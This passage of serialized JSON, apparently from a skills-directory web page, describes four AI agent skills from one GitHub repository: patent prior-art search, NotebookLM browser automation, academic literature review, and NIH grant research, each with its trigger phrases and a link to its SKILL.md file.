analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":138,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]